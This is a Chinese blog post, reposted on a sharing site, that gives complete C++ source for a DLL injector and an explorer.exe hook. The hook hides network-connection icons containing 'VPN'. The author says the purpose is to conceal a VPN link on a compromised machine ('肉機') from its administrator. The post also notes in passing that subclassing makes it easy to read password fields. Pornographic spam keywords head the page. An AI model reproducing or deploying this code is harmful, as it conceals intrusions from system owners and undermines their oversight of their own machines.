国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
利用窗口子類化隱藏系統(tǒng)圖標
 

利用窗口子類化隱藏系統(tǒng)圖標

作者: Kruglinski
http://kruglinski.blogchina.com/

下載源代碼

窗口子類化是一種非常有用的技術(shù),通常它用在Windows GUI編程方面,我們用這種技術(shù)來創(chuàng)建新的控件,比如讓SubClassing一個Edit控件添加一些消息處理讓它變成MaskEdit控件等等.反過來想想如果我們SubClassing一個有ES_PASSWORD風格的窗口控件,得到它的密碼是難是嗎?很簡單,不過是一句CallWindowProc調(diào)用,只不過在NT等系統(tǒng)上需要Inject一個DLL到目標進程來SubClassing一個進程中的窗口或是子窗口.

用Spy++看了一下,資源管理器里列表視圖其實就是一個SysListView32控件,我們現(xiàn)在就是要"創(chuàng)建一個新的SysListView32控件",讓它不顯示帶有"VPN"字符串的圖標.有時我們控制了一臺肉機,用VPN撥進去,但又不想管理員發(fā)現(xiàn)它,肯定要隱藏很多東西,隱藏圖標是最直觀的一種.

先來看看三個API:

SetWindowLong
SetClassLong
CallWindowProc

SetWindowLong可以改變一個窗口實例的窗口過程,它的作用范圍僅僅是一個窗口.

SetClassLong雖然操作的是一個窗口句柄,但作用卻是對創(chuàng)建這個窗口的窗口類進行修改,我們可以讓它修改進程范圍內(nèi)某種窗口類的窗口過程,這里指的窗口類是User32窗口對象類,而不是MFC或是VCL窗口封裝類.
順便提一下改變一個進程中的基本控件類也可以影響到它的超類,比如Delphi VCL使用超類化來創(chuàng)建控件,首先它會調(diào)用GetClassInfo得到某個類的系統(tǒng)窗口過程或風格等參數(shù),比如SysListView32窗口類,然后用得到參數(shù)再注冊(RegistetClass)一個TListView窗口類,能夠在它GetClassInfo前先用SetClassLong子類化了某個窗口類,就可以實現(xiàn)其超類(如,TListView)的消息過濾.

而CallWindowProc通常在我們處理完消息后再調(diào)用以實現(xiàn)控件基本的功能,因為我們可沒有時間寫一個完整的EDIT控件或是SysListView32控件.

廢話不多說.
一個實例Explorer.dll,它在Explorer.exe進程子類化"SysListView32"窗口類,然后過濾掉帶有"VPN"字符串(不區(qū)分大小寫)的圖標,我使用了一個Magic Number,就是當圖標少于32個時才進行搜索過濾,也就是說我假定系統(tǒng)中的網(wǎng)絡(luò)連接不超過32個,這樣做是為了提高程序性能,我們不去搜索很大的文件夾.程序由VC++ 6.0 sp5編譯通過,Windows 2000 Professional下運行調(diào)試通過.使用方式是用遠程線程注入到explorer.exe進程即可,而后在explorer.exe新打開/創(chuàng)建的窗口中生效.

過濾程序(explorer.cpp)

#include "stdafx.h"            #include <windows.h>            #include <CommCtrl.h>            #include <process.h>            #include <tchar.h>            #include <shlwapi.h>            #define MAGIC_NUMBER    (0x20)            WNDPROC lpfnSupperClassProc=NULL;            __forceinline            void HideItem(HWND hListCtrl,DWORD dwItemcount)            {            LVITEM li={0};            char text[50]={0};            li.pszText=text;            li.cchTextMax=50;            for(DWORD i=0;i<dwItemcount;i++)            {            CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li);            if(StrStrI(li.pszText,_T("vpn"))!=NULL)            CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0);            }            }            LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)            {            DWORD dwItemcount=0;            if(WM_PAINT==uMsg)            {            dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0);            if(dwItemcount<MAGIC_NUMBER)            HideItem(hwnd,dwItemcount);            }            return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam);            }            __forceinline            BOOL InstallListFilter()            {            BOOL bRet=FALSE;            HWND hWnd=NULL;            INITCOMMONCONTROLSEX cls={sizeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES};            bRet=InitCommonControlsEx(&cls);            if(bRet)            {            hWnd=CreateWindow(_T("SysListView32"),_T(""),WS_CAPTION|LVS_REPORT,0,0,0,0,            NULL,NULL,NULL,NULL);            lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC);            SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc);            DestroyWindow(hWnd);            }            return bRet;            }            BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)            {            if(DLL_PROCESS_ATTACH==ul_reason_for_call)            InstallListFilter();            return TRUE;            }            

注入程序:InjectDLL.cpp

#include <Windows.h>            #include <tlhelp32.h>            #include <stdio.h>            #include <conio.h>            BOOL EnablePrivilege(char *PrviName)            {            HANDLE hToken;            TOKEN_PRIVILEGES Newtp;            BOOL bRet=FALSE;            OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);            if(LookupPrivilegeValue(NULL,PrviName,&Newtp.Privileges[0].Luid))            {            Newtp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;            Newtp.PrivilegeCount=1;            if(AdjustTokenPrivileges(hToken,FALSE,&Newtp,sizeof(Newtp),NULL,NULL))            bRet=TRUE;            }            CloseHandle(hToken);            return bRet;            }            DWORD Process2PID(LPCTSTR lpszProcess)            {            HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);            PROCESSENTRY32 pe;            DWORD dwRet=0;            pe.dwSize=sizeof(PROCESSENTRY32);            if(hSnap)            {            Process32First(hSnap,&pe);            do {            if(!lstrcmpi(lpszProcess,pe.szExeFile))            {            dwRet=pe.th32ProcessID;            break;            }            } while(Process32Next(hSnap,&pe));            CloseHandle(hSnap);            }            return dwRet;            }            BOOL InjectDLL(DWORD dwPid,LPCTSTR lpszDll)            {            if(!EnablePrivilege(SE_DEBUG_NAME))            return FALSE;            BOOL bRet=FALSE;            HANDLE hProcess=            OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid);            LPVOID pAddr=VirtualAllocEx(hProcess,NULL,MAX_PATH,MEM_COMMIT,PAGE_READWRITE);            WriteProcessMemory(hProcess,pAddr,lpszDll,lstrlen(lpszDll)+1,NULL);            LPTHREAD_START_ROUTINE pfnLoadLibrary=            (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");            bRet=(BOOL)CreateRemoteThread(hProcess,NULL,1024,pfnLoadLibrary,pAddr,0,NULL);            CloseHandle(hProcess);            return bRet;            }            int main(int argc,char **argv)            {            printf("Inject DLL to explorer.exe %s\n",            InjectDLL(Process2PID(argv[1]),argv[2])?"successful":"failed");            getch();            return 0;            }            
將兩個分別編譯好后用下面的命令行:
injectDLL explorer.exe d:\wjj\explorer\debug\explorer.dll
d:\wjj\explorer\debug\explorer.dll一定要用絕對路徑,那是我用的工作目錄,你可以把explorer.dll放在其它任意地方

我更喜歡用中規(guī)中矩的"窗口子類化"來稱乎這種技術(shù),當然也可以叫它"窗口劫持",來北京沒有多長時間,發(fā)現(xiàn)這里的人都喜歡用很多很大氣的詞,平臺,架構(gòu),理念......,聽起來的確有點煩.

 
 (#)
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
Windows消息攔截技術(shù)的應(yīng)用
給msn messager裝個鉤子 - 笨笨歷險記
Ring3下無驅(qū)動移除winlogon.exe進程ctrl+alt+del,win+u, win7中無效
PreTranslateMessage使用與使用說明
鉤子技術(shù)
采用API實現(xiàn)的文件拖放
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服